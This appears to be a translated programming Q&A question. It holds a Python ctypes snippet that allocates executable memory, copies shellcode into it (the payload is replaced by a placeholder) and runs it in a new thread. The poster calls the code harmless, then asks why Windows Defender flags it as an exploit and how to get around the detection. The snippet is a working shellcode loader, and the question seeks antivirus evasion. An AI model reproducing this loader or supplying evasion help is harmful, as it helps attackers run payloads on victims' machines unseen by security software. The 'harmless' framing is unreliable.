python-3.x - Windows Defender 将完全无害的代码定义为具有潜在危险的软件

Question

import ctypes

shellcode = bytearray(b"SHELLCODE WAS HERE")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))  

这段代码将shellcode放在内存中并执行它，我知道这是在利用中使用的，但我的代码没有利用！

但是，Windows Defender 将威胁定义为“利用：Python / Leivion.A”为什么会发生这种情况以及如何绕过触发器？